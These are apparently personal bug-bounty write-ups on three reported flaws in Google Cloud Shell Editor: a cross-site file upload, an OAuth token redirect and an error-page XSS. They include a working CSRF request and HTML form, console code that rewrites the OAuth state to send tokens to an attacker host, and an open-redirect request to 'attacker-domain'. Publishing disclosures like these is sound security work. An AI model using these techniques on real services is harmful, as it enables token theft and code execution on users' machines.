воскресенье, 15 декабря 2019 г.

[GCP] The File uploading CSRF in Google Cloud Shell Editor

What is the google cloud shell

Google Cloud Shell is an interactive shell environment for Google Cloud Platform that makes to learn and experiment with GCP and manage your projects and resources from a web browser.
The cloud shell has a code editor, which called theia. It allows to manipulate the files in the cloud shell VM.

The more information about cloudshell you can find in the official docs: https://cloud.google.com/shell/docs/

The cloud shell editor allowed by the next urls:


  • https://970-dot-000000-dot-devshell.appspot.com
  • https://devshell-vm-74ecb0ce-6db1-43df-a2f9-c77142a1e79e.cloudshell.dev:970/

these urls are unique for every google user and the second url updates every time when user restart the cloud shell VM.

By the first url the editor protected from CSRF attack via X-XSRF-PROTECTED header. But when it opened by the second - the protection was missed.

The file uploading via CSRF

When I investigated the file uploading feature I found that it has no any protection from CSRF attacks and request can be sent from any origin. Here is the request for the file uploading:

POST /files HTTP/1.1
Host: devshell-vm-74ecb0ce-6db1-43df-a2f9-c77142a1e79e.cloudshell.dev:970
Content-Length: 337
Cookie: auth_cookie
Content-Type: multipart/form-data; boundary=------WebKitFormBoundaryduZBRk1aIPiq0b1V

------WebKitFormBoundaryduZBRk1aIPiq0b1V
Content-Disposition: form-data; name="target"

file:///home/userhome/folder
------WebKitFormBoundaryduZBRk1aIPiq0b1V
Content-Disposition: form-data; name="upload"; filename="the_filename"

the_content_of_file
------WebKitFormBoundaryduZBRk1aIPiq0b1V--

It's the standart multipart request and can be sent from any origin and server will accept it (and will create the file with name "the_filename" and content "the_content_of_file" in /home/userhome/folder ).

The bug in multipart requests parsing

When I tried different variants of this upload request I found that the requests with the next line:
Content-Disposition: form-data; name="upload; filename=the_filename; x"
were executed sucessfully and files were created in my home directory. As you can see the difference with original is very small. But it makes the attack possible, because I can create the html input element with the "upload; filename=the_filename; x" as the name attribute and it will be valid. With quote separated fields it's not possible.

Here are examples of html form for craft this uploading request:
<form action="https://<user_devshell_domain>/files" enctype="multipart/form-data" method="POST" target="upload_iframe">
<input name="target" value="file:///home/userhome/folder">
<input name="upload; filename=the_filename; x" value="the content of file">
</form>
So, cool! I can create files in user devshell VM with my content. But for completed sucessfull attack it's not enougth and some questions must be solved:

  1. How to know the domain name of victim's cloud shell editor for send this request to this?
  2. What the content can be loaded via csrf and what kind of attack possible with this bug? XSS? RCE via CSRF?


How to know the victim's cloudshell hostname

When I tried to open editor's url without credentials https://devshell-vm-74ecb0ce-6db1-43df-a2f9-c77142a1e79e.cloudshell.dev:970/ server returns a 302 redirect to auth. Also if I tried to open not mine host - I was returned to my anyway after authorization. So, if the auth request to attacker VM will be initiated in iframe - the user will be redirected to his own editor anyway. The result of redirect can be hijacked via CSP reports. For this, attacker can craft a webpage with iframe ( with authorization request). Also this page must has the csp rules, what allow all domains instead of *.appspot.com  and *.cloudshell.dev. So, when an user will open this page he will be authorized in iframes (and redirected to editors domains) and attacker will got the csp reports with blocked uris (according with CSP rules of page they will contain the user cloudshell editor's domains ). Nice. The first problem is solved :-)

What the content can be loaded via csrf and what kind of attack possible with file uploading bug

The html files from VM can be opened with /mini-browser feature. By the next url:
https://970-dot-000000-dot-devshell.appspot.com/mini-browser/home/myusername/uploaded.html I saw my uploaded html and javascript was executed. Also this file could be loaded in iframe by the click in the interface. Nice. What this XSS allows to do? Via this XSS attacker can place some mailicous code in .bashrc file or other system files in user's home directory and this code will be runned every time when vm will be restarted. Nice impact :-)

The Final.

The next I described all steps in the report, crafted the POC page, made the video of the xss attack and attached this to report.

The google VRP team set the P1 priority to this report and after short waiting I got the 5K bounty :-)

Thanks :-)

[GCP] The oauth token hijacking in Google Cloud Shell Editor

What is the google cloud shell

Google Cloud Shell is an interactive shell environment for Google Cloud Platform that makes to learn and experiment with GCP and manage your projects and resources from a web browser. The cloud shell has a code editor, which called theia. It allows to manipulate the files in the cloud shell VM. Also in earlier versions it allowed the run commands in the shell of virtual machine.

The more information about cloudshell you can find in the official docs: https://cloud.google.com/shell/docs/

The cloud shell editor allowed by the https://970-dot-000000-dot-devshell.appspot.com url.

How to OAuth flow works in cloud shell

The authorization in cloud shell domain includes the 4 steps:
1. Initiation. When user without creds trying to open editor by url https://970-dot-000000-dot-devshell.appspot.com the server redirects his to accounts.google.com/o/oauth2
2. Confirm of access. When user redirected to the accounts.google.com/o/oauth2 page he grants the access to his data for application and after this step the server redirects him to devshell.appspot.com domain
3. The page in devshell.appspot.com domain takes the user's authorization code and redirects user to his editor domain with generated access token
4. Page in editor's domain takes token and gives the cookie for user.

So, when I tried to open my cloud shell editor without credentials I got the redirect to the authorization page:

https://accounts.google.com/o/oauth2/auth?client_id=618104708054-jqgabbtcm3fusmhf5hu82r7j8emh7aoa.apps.googleusercontent.com&redirect_uri=https%3A%2F%2Fdevshell.appspot.com%2F_cloudshellProxy%2Foauth2callback&response_type=code&scope=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email&state=eyJYU1JGVG9rZW4iOiI0bEp5VWRvZnhoblB5RWJ5b2x6VzVWY3d0bVE6MTU1MzkzOTQxMTk2MCIsIkFwcFVSTCI6Imh0dHBzOi8vOTcwLWRvdC0wMDAwMC1kb3QtZGV2c2hlbGwuYXBwc3BvdC5jb20vIn0%3D

Let's look at the 'state' parameter. Looks promising:

state=eyJYU1JGVG9rZW4iOiI0bEp5VWRvZnhoblB5RWJ5b2x6VzVWY3d0bVE6MTU1MzkzOTQxMTk2MCIsIkFwcFVSTCI6Imh0dHBzOi8vOTcwLWRvdC0wMDAwMC1kb3QtZGV2c2hlbGwuYXBwc3BvdC5jb20vIn0%3D

Let's try to unpack it (I follow the examples in google chrome console):

> atob(decodeURIComponent('eyJYU1JGVG9rZW4iOiI0bEp5VWRvZnhoblB5RWJ5b2x6VzVWY3d0bVE6MTU1MzkzOTQxMTk2MCIsIkFwcFVSTCI6Imh0dHBzOi8vOTcwLWRvdC0wMDAwMC1kb3QtZGV2c2hlbGwuYXBwc3BvdC5jb20vIn0%3D' ))
<
"{ "XSRFToken":"4lJyUdofxhnPyEbyolzW5VcwtmQ:1553939411960", "AppURL": "https://970-dot-00000-dot-devshell.appspot.com/"}"

hmmm, AppUrl property contains the my host. What if I will replace it to my host?

> var obj = JSON.parse( atob( decodeURIComponent( 'eyJYU1JGVG9rZW4iOiI0bEp5VWRvZnhoblB5RWJ5b2x6VzVWY3d0bVE6MTU1MzkzOTQxMTk2MCIsIkFwcFVSTCI6Imh0dHBzOi8vOTcwLWRvdC0wMDAwMC1kb3QtZGV2c2hlbGwuYXBwc3BvdC5jb20vIn0%3D' )))
> obj.AppURL = "https://my.host/hi_jack?"
> encodeURIComponent(btoa(JSON.stringify(obj)))

Then I tried to authorize with this changed state parameter and got the redirect to the my host with generated token.

The Final. 

Then I crafted the page with auth links generator and full attack POC, made the video with attack and created the report.

After small delay my report got a P1 priority and after some time I got the 5K bounty :-)

Thanks :-)

[GCP] The XSS ( type II ) in Google Cloud Shell Editor

What is the google cloud shell

Google Cloud Shell is an interactive shell environment for Google Cloud Platform that makes to learn and experiment with GCP and manage your projects and resources from a web browser.

The more information about cloudshell you can find in the official docs: https://cloud.google.com/shell/docs/

The cloud shell editor can be opened by url https://970-dot-000000-dot-devshell.appspot.com where 000000 is unique id for every google user.

XSS in error pages

I found that the error pages print unescaped errors messages in response with 'text/html' in the 'content-type' header. It allows to make XSS attack (XSS type II).

Here are the vulnerable requests:





Leakage of hostname

For successfull attack an attacker needs to know the hostname of victim's editor. So, for this attack I found the next solution how to know it:
In the basic flow, the url
https://ssh.cloud.google.com/devshell/proxy?authuser=0&port=970&cloudshell_retry=true&devshellProxyPath=%2F&clearSession=false
redirects user to his own editor domain. To the path from devshellProxyPath parameter.
The parameter devshellProxyPath was not validated perfectly by server and server allowed to redirect user to any domain. For e.g. for the request:
GET /devshell/proxy?authuser=0&port=970&cloudshell_retry=true&devshellProxyPath=@attacker-domain&clearSession=false HTTP/1.1
Host: ssh.cloud.google.com
server returned the redirect to the next location:
https://970-dot-0000-dot-devshell.appspot.com@attacker-domain/
So, this way allows to attacker to know the victim's editor host. In current example it is: 970-dot-0000-dot-devshell.appspot.com

The Final. 

The next step I made the POC page and placed it on my server. Then I described all details in report and report got P1 priority.
And after a short waiting I got the 5K bounty :-)

Thanks :-)